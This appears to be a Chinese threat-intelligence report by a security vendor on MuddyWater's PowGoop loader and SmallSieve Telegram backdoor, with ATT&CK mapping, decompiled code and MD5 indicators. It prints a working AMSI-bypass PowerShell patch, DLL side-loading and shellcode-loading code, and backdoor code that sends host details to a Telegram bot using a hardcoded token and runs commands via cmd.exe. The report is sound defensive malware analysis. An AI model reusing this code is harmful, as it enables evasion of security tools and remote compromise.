概述
瑞星威胁情报中心捕获到一批恶意程序样本,经分析确定这些样本出自于MuddyWater组织常用的恶意软件:PowGoop
,SmallSieve
后门。PowGoop
是一种恶意的DLL加载程序,其包括合法命名的DLL,包含加密的ShellCode的.dat文件,以及包含加密的PowerShell代码的config.txt三个组件;SmallSieve
是一个由Python写的恶意后门程序。
MuddyWater
,也称为MERCURY
或Static Kitten
,这个攻击组织至少从2017年开始活跃,该组织的动机是盗取信息和间谍活动,经常针对美国、欧洲和亚洲国家的高价值目标开展活动,攻击对象为国防,教育,食品,游戏,政府,石油,天然气,运输等部门。
ATT&CK 矩阵
战术 | 技术 | 具体行为 |
---|---|---|
TA0001-初始访问 | T1566-网络钓鱼 | 诱惑用户下载包含恶意程序的压缩包 |
TA0002-执行 | T1059-命令和脚本解释器 | 调用PowerShell执行命令 |
TA0002-执行 | T1059-命令和脚本解释器 | 执行了Python脚本内的代码 |
TA0002-执行 | T1204-用户执行 | 用户运行程序就会加载恶意的DLL |
TA0003-持久化 | T1547-启动或登录自动执行 | 把自己添加到注册表Run键中实现自启动 |
TA0005-防御规避 | T1027-混淆过的文件或信息 | 使用异或加Base64编码来保护字符串 |
TA0005-防御规避 | T1036-伪装 | 在其路径中使用Microsoft和Outlook拼写的变体,以避免被发现 |
TA0005-防御规避 | T1140-去混淆或解密文件和信息 | 使用自定义算法解密ShellCode,最后执行的PowerShell代码使用Base64编码和凯撒加密 |
TA0005-防御规避 | T1574-劫持执行流 | 侧加载goopdate.dll到GoogleUpdate.exe |
TA0011-指挥与控制 | T1071-应用层协议 | 向服务器发送HTTP GET请求 |
TA0011-指挥与控制 | T1132-数据编码 | 使用base64编码收发的数据 |
TA0011-指挥与控制 | T1573-加密通道 | 接受加密的命令 |
技术分析
PowGoop
1 攻击流程
![image](https://oss.rising.com.cn/rising-threat-report/images/2024022911073358-20240229110733.png)
2 样本分析
2.1 初始样本:goopdate.dll
字段 | 内容 |
---|---|
原始文件名 | goopdate.dll |
文件大小 | 88.5 KB |
文件MD5 | a27655d14b0aabec8db70ae08a623317 |
文件类型 | Win32 DLL |
通过白文件GoogleUpdate.exe侧加载goopdate.dll,创建进程使用Rundll32.exe执行goopdate.dll中的导出函数DllRegisterServer
。
if ( v22 >= (void **)L"" || (char *)v22 + 2 * dwProcessId < (char *)L"Rundll32.exe " )
{
v23 = 13;
}
else if ( v22 > (void **)L"Rundll32.exe " )
{
v23 = ((char *)v22 - (char *)L"Rundll32.exe ") >> 1;
}
else
{
v23 = 0;
}
memmove((char *)v22 + 26, v22, 2 * dwProcessId + 2);
v24 = 2 * v23;
memmove_0(v22, L"Rundll32.exe ", v24);
memmove_0((char *)v22 + v24, (const void *)(v24 + 268516374), 26 - v24);
v25 = Src;
}
v48 = 0i64;
*(_OWORD *)Block = *(_OWORD *)v25;
v48 = v25[2];
*((_DWORD *)v25 + 4) = 0;
*((_DWORD *)v25 + 5) = 7;
*(_WORD *)v25 = 0;
LOBYTE(v61) = 2;
sub_10001D00(Block, (int)v58, L",DllRegisterServer");
memset(&StartupInfo.lpTitle, 0, 32);
memset(&StartupInfo.cbReserved2, 0, 16);
if ( CreateProcessW(0, v37, 0, 0, 1, 0x10u, 0, 0, &StartupInfo, &ProcessInformation) )
{
Sleep(0x7D0u);
CloseHandle(ProcessInformation.hThread);
}
获取goopdate.dat文件,把goopdate.dat中混淆的恶意数据拷贝到新申请的空间中,通过call ebx
执行
LOWORD(Block[0]) = 0;
NumberOfBytesRead = 0;
v2 = sub_10001000(v16, (int)&savedregs);
sub_10001D00(v2, (int)lpFileName, L"goopdate.dat");
v3 = (const WCHAR *)lpFileName;
if ( v13 >= 8 )
v3 = lpFileName[0];
FileW = CreateFileW(v3, 0x80000000, 0, 0, 3u, 0x80u, 0);
FileSize = GetFileSize(FileW, &FileSizeHigh);
v6 = VirtualAlloc(0, FileSize, 0x1000u, 0x40u);
if ( ReadFile(FileW, v6, FileSize, &NumberOfBytesRead, 0) )
{
CloseHandle(FileW);
if ( v13 >= 8 )
{
v9 = (WCHAR *)lpFileName[0];
if ( 2 * v13 + 2 >= 0x1000 )
{
v9 = (WCHAR *)*((_DWORD *)lpFileName[0] - 1);
if ( (unsigned int)((char *)lpFileName[0] - (char *)v9 - 4) > 0x1F )
goto LABEL_30;
}
sub_10002244(v9);
}
}
xor eax, eax
mov [esp+68h+var_14], 0
mov [esp+68h+var_10], 7
mov word ptr [esp+68h+var_24], ax
call ebx
mov ecx, [esp+68h+var_4]
pop edi
pop esi
pop ebx
2.2 ShellCode分析
数据文件:goopdate.dat
字段 | 内容 |
---|---|
原始文件名 | goopdate.dat |
文件大小 | 112.84 KB |
文件MD5 | 218d4151b39e4ece13d3bf5ff4d1121b |
申请新空间,把数据拷贝到新的空间中,对数据进行自解密
v2 = sub_1BE80(a1, a1[18], a1[19], a1[10], a1[11]);// kernel32.VirtalAlloc
v31 = v2;
v3 = sub_1BE80(a1, a1[20], a1[21], a1[10], a1[11]);// Kernel32.VirtualFree
v30 = v3;
v4 = sub_1BE80(a1, a1[98], a1[99], a1[10], a1[11]);// RtlExitUserProcess
v5 = v4;
v29 = v4;
if ( !v2 || !v3 || !v4 )
return -1;
v6 = v2(0, *a1, 12288, 4); // VirtualAlloc
v7 = v6;
if ( !v6 )
{
if ( a1[140] == 2 )
v5(0);
return -1;
}
sub_1C2E3(v6, a1, *a1); // 加载goopdate.dat的数据
sub_1C307(v35, 0, 32);
if ( *(v7 + 564) != 3
|| (sub_1BFE8(v7 + 4, v7 + 20, v7 + 576, *v7 - 576), sub_1BEC3(v7 + 2032, *(v7 + 40), *(v7 + 44)) == *(v7 + 2288))// 解密数据
&& v9 == *(v7 + 2292) )
观察解密出来的ShellCode,发现有一个内嵌的PE文件
内嵌的PE文件
字段 | 内容 |
---|---|
文件大小 | 99 KB |
文件MD5 | ba66f73c17b15e8cbcab9daad3f85ed6 |
文件类型 | EXE |
病毒名 | Trojan.[MuddyWater]PowGoop!1.E260 |
接下来会把内嵌的PE文件拷贝到新申请的空间中,再调用call ebp
执行该文件
if ( *(v3 + 4) != *(*(result + 60) + result + 4) )
return result;
result = (*(a1 + 60))(0, *(v3 + 80) + 4096, 12288, 64);// VirtualAlloc
v5 = result;
if ( !result )
return result;
sub_1C2E3(result, a2 + 1320, *(v3 + 84));
if ( *(v3 + 6) )
{
v6 = 0;
v7 = (v3 + *(v3 + 20) + 44);
do
{
sub_1C2E3(&v5[*(v7 - 2)], v48 + *v7, *(v7 - 1));// 把PE文件复制到申请的空间中
v7 += 10;
++v6;
}
while ( v6 < *(v3 + 6) );
v2 = a1;
}
seg000:0001B9D3 mov eax, dword ptr fs:loc_15+3
seg000:0001B9D9 push dword ptr [eax+30h]
seg000:0001B9DC call ebp
通过硬编码字符串拼接出绕过AMSI
的PowerShell脚本,脚本会获取AmsiScanBuffer
函数地址,然后篡改函数代码头6字节,将其返回值固定为ERROR_INVALID_PARAMETER
,这样注册了AMSI
接口的安全产品就无法正常接收即将被执行的恶意代码,从而规避检测。
function Get-ProcAddress
{
Param([Parameter(Position=0,Mandatory=$True)][String]$Module,[Parameter(Position=1,Mandatory=$True)][String]$Procedure)
$SystemAssembly=[AppDomain]::CurrentDomain.GetAssemblies()|
Where-Object{$_.GlobalAssemblyCache-And$_.Location.Split('\')[-1].Equals('System.dll')};
$UnsafeNativeMethods=$SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods');
$GetModuleHandle=$UnsafeNativeMethods.GetMethod('GetModuleHandle');
$GetProcAddress=$UnsafeNativeMethods.GetMethod('GetProcAddress',[reflection.bindingflags]"Public,Static",$null,[System.Reflection.CallingConventions]::Any,@((New-ObjectSystem.Runtime.InteropServices.HandleRef).GetType(),[string]),$null);
$Kern32Handle=$GetModuleHandle.Invoke($null,@($Module));
$tmpPtr=New-ObjectIntPtr;
$HandleRef=New-ObjectSystem.Runtime.InteropServices.HandleRef($tmpPtr,$Kern32Handle);
return$GetProcAddress.Invoke($null,@([System.Runtime.InteropServices.HandleRef]$HandleRef,$Procedure));
};
$dll="am"+"si.dll"
$med="AmsiScanBuffer"
$methodAdd=Get-ProcAddress $dll $med;
$p=0
$VirtualProtect.Invoke($methodAdd,[uint32]5,[uint32]0x40,[ref]$p);
$res=$getlasterr.Invoke();
$Patch=[Byte[]](0xB8,0x57,0x00,0x07,0x80,0xC3)
<#
MOV EAX,0x80070057 ;ERROR_INVALID_PARAMETER
RET
#>
[System.Runtime.InteropServices.Marshal]::Copy($Patch,0,$methodAdd,6) #拷贝Patch代码至函数头
再通过硬编码字符串拼接出对config.txt进行解码的另一段PowerShell代码,使用命令powershell -exec bypass
执行相关代码。
function bdec($in)
{
$out = [System.Convert]::FromBase64String($in);
return [System.Text.Encoding]::UTF8.GetString($out);
}
function bDec2($szinput)
{
$in = [System.Text.Encoding]::UTF8.GetBytes($szinput);
for ($i=0;$i -le $in.count -1;$i++)
{
$in[$i] = $in[$i] - 2;
}
return [System.Text.Encoding]::UTF8.GetString($in);
}
function bDd($in)
{
$dec = bdec $in;
$temp = bDec2 $dec;
return $temp;
}
$a=get-content "config.txt";
$t=bDd $a;
&($ShellId[1] + 'ex')$t;
if ( (unsigned int)(HIDWORD(v30) - v30) < 0x18 )
{
LOBYTE(v31) = 0;
sub_522160(lpBuffer, 24, v31, (int)"powershell -exec bypass ", 0x18u);
}
因为未能找到与当前解密方式相匹配的config.txt文件,不能更深入的对下一阶段进行分析,所以只能分析到此。
SmallSieve
1 攻击流程
2 样本分析
2.1 初始样本:gram_app.exe
字段 | 内容 |
---|---|
原始文件名 | gram_app.exe |
文件大小 | 16.21 MB |
文件MD5 | 15fa3b32539d7453a9a85958b77d4c95 |
文件类型 | EXE |
gram_app.exe是一个NSIS安装程序,用户点击gram_app.exe程序后会在%AppData%\Roaming\OutlookMicrosift
目录之下释放出使用PyInstaller
打包的恶意后门程序index.exe,并通过传入参数Platypus
来执行它。然后会在注册表中创建自启动项来实现持久化,并以Platypus
作为参数。
InstType $(LSTR_37);
Custom
InstallDir $APPDATA\OutlookMicrosift;
install_directory_auto_append = OutlookMicrosift;
wininit = $WINDIR\wininit.ini
Section ;
Section_0;
AddSize 16859
CreateDirectory $INSTDIR
SetOutPath $INSTDIR
File index.exe
Exec "$INSTDIR\index.exe Platypus"
WriteRegStr HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run OutlookMicrosift "$\"$INSTDIR\index.exe$\" Platypus"
SectionEnd
2.2 释放的文件:index.exe
字段 | 内容 |
---|---|
原始文件名 | index.exe |
文件大小 | 16.46 MB |
文件MD5 | 5763530f25ed0ec08fb26a30c04009f1 |
文件类型 | EXE |
病毒名 | Backdoor.[MuddyWater]SmallSieve!1.E26F |
通过对index.exe进行反编译,再解出index.pyc文件中的内容,发现里面的字符串经过异或和Base64编码处理,编写脚本解码得到关键的数据。
return requests.get(YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('CAU4FEZyQnEYB0ZdM0gdDUEyHxRSNBYtQiFZWg==') + L9aWuC5Zmn0sOj1kbTPFWSrB825DlfOM + YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('TwIpClEFCC0KFkgWeE4ZCVIfFx1B') + LcyHZiDO08howWXxvpM2QdexF78NzbMs + YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('RgEtFkYtMjMWE0pOCkwDA0IvCRdaLwEyGX4=') + Wlb0Y2FeY6m3QaTBzuvdnw7EBUm0ptlf)
return requests.get(YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('https://api.telegram.org/bot') + L9aWuC5Zmn0sOj1kbTPFWSrB825DlfOM + YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('/sendMessage?chat_id=') + LcyHZiDO08howWXxvpM2QdexF78NzbMs + YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('&parse_mode=Markdown&text=') + Wlb0Y2FeY6m3QaTBzuvdnw7EBUm0ptlf)
后门程序会尝试还原之前初始化的会话数据文件:%LocalAppData%\MicrosoftWindowsOutlookDataPlus.txt
。 如果此文件不存在,则使用Chat_ID
(2090761833),Bot_ID
(10000000到90000000随机值),Telegram_Token
(2003026094:AAGoitvpcx3SFZ2_6YzIs4La_kyDF1PbXrY)三种硬编码值。
uh4Evft4aB4srNw8h6ZKFXWiByKpFM4E = path.expandvars(YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('%LocalAppData%\MicrosoftWindowsOutlookDataPlus.txt'))
Bot_ID = str(random.randint(10000000, 90000000))
Chat_ID = YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('2090761833')
Telegram_Token = YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('2003026094:AAGoitvpcx3SFZ2_6YzIs4La_kyDF1PbXrY')
会通过Telegram Bot API(hxxps://api.telegram.org/bot
)发送信标同时接收指令,信标内容包括配置的Bot ID、以及获取到的当前登录的用户名和主机的IP地址。
n92aUyav3pCDdBFcR6uQ1ej9kYlwU9MX = YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('/com') + Z9k939utA5zHaTl5UOoxQv7NKWne358B + YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('|') + IGYybCjrf8ZXLmfQRbgq3gRlDjpB71rP(os.getenv(YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('username')) + YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('/') + os.environ[YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('userdomain')] + YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('|') + socket.gethostbyname(socket.gethostname()))
攻击者使用/start
和/com [BotID] [command]
两种格式发送指令,其中[command]有delete
,download
,change token
,disconnect
四种命令。
命令 | 功能 |
---|---|
delete | 退出后门,但后门仍然会开机自启 |
download | 调用urlretrieve模块下载URL对应的文件并保存至指定路径 |
change token | 更新令牌,并将新的令牌保存到MicrosoftWindowsOutlookDataPlus.txt文件中 |
disconnect | 终止与Telegram的连接 |
除了以上以外的任何命令都可以通过将其传递给cmd.exe /c
来直接执行,并将回显内容回传
K5AGJMvZ5E7cQ5g0BXvoaeeu3bujTFlW = subprocess.Popen(YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('cmd.exe /c') + vDmKPoklRPYbNDd7AVJy0z3kQjggmplB, True, B0M52RqNcKuAjqd055FURnps8jebRJtM, B0M52RqNcKuAjqd055FURnps8jebRJtM, B0M52RqNcKuAjqd055FURnps8jebRJtM)
关联样本
关联样本基本信息:libpcre2-8-0.dll
字段 | 内容 |
---|---|
原始文件名 | libpcre2-8-0.dll |
文件大小 | 94.50 KB |
文件MD5 | 860f5c2345e8f5c268c9746337ade8b7 |
文件类型 | DLL |
goopdate.dll和此前于2022-01-12捕获到的libpcre2-8-0.dll进行对比,其攻击手法具有很高的相似性。导出函数中的代码一样:
下面是goopdate.dll的代码:
sub_10001D00(v2, (int)lpFileName, L"goopdate.dat");
v3 = (const WCHAR *)lpFileName;
if ( v13 >= 8 )
v3 = lpFileName[0];
FileW = CreateFileW(v3, 0x80000000, 0, 0, 3u, 0x80u, 0);
if ( FileW == (HANDLE)-1 )
{
if ( v13 < 8 )
{
LABEL_14:
v6 = 0;
goto LABEL_24;
}
v5 = (WCHAR *)lpFileName[0];
if ( 2 * v13 + 2 < 0x1000
|| (v5 = (WCHAR *)*((_DWORD *)lpFileName[0] - 1), (unsigned int)((char *)lpFileName[0] - (char *)v5 - 4) <= 0x1F) )
{
sub_10002244(v5);
goto LABEL_14;
}
LABEL_30:
_invalid_parameter_noinfo_noreturn();
}
FileSize = GetFileSize(FileW, &FileSizeHigh);
v6 = VirtualAlloc(0, FileSize, 0x1000u, 0x40u);
if ( ReadFile(FileW, v6, FileSize, &NumberOfBytesRead, 0) )
{
CloseHandle(FileW);
if ( v13 >= 8 )
{
v9 = (WCHAR *)lpFileName[0];
if ( 2 * v13 + 2 >= 0x1000 )
{
v9 = (WCHAR *)*((_DWORD *)lpFileName[0] - 1);
if ( (unsigned int)((char *)lpFileName[0] - (char *)v9 - 4) > 0x1F )
goto LABEL_30;
}
sub_10002244(v9);
}
}
下面是libpcre2-8-0.dll的代码:
sub_10001E60(L"Core.dat");
v2 = (const WCHAR *)lpFileName;
if ( v10 >= 8 )
v2 = lpFileName[0];
FileW = CreateFileW(v2, 0x80000000, 0, 0, 3u, 0x80u, 0);
if ( FileW == (HANDLE)-1 )
{
if ( v10 < 8 )
{
LABEL_14:
v5 = 0;
goto LABEL_24;
}
v4 = lpFileName[0];
if ( 2 * v10 + 2 < 0x1000
|| (v4 = (LPCWSTR)*((_DWORD *)lpFileName[0] - 1), (unsigned int)((char *)lpFileName[0] - (char *)v4 - 4) <= 0x1F) )
{
sub_10002330(v4);
goto LABEL_14;
}
LABEL_30:
sub_10005C87(v4);
}
FileSize = GetFileSize(FileW, &FileSizeHigh);
v5 = VirtualAlloc(0, FileSize, 0x1000u, 0x40u);
if ( ReadFile(FileW, v5, FileSize, &NumberOfBytesRead, 0) )
{
CloseHandle(FileW);
if ( v10 >= 8 )
{
v4 = lpFileName[0];
if ( 2 * v10 + 2 >= 0x1000 )
{
v4 = (LPCWSTR)*((_DWORD *)lpFileName[0] - 1);
if ( (unsigned int)((char *)lpFileName[0] - (char *)v4 - 4) > 0x1F )
goto LABEL_30;
}
sub_10002330(v4);
}
}
总结
APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征,针对的目标都是具有重大信息资产,如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等,国内相关政府机构和企业单位务必要引起重视,加强防御措施。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本
- 及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
- MD5
a27655d14b0aabec8db70ae08a623317 218d4151b39e4ece13d3bf5ff4d1121b ba66f73c17b15e8cbcab9daad3f85ed6 15fa3b32539d7453a9a85958b77d4c95 5763530f25ed0ec08fb26a30c04009f1 860f5c2345e8f5c268c9746337ade8b7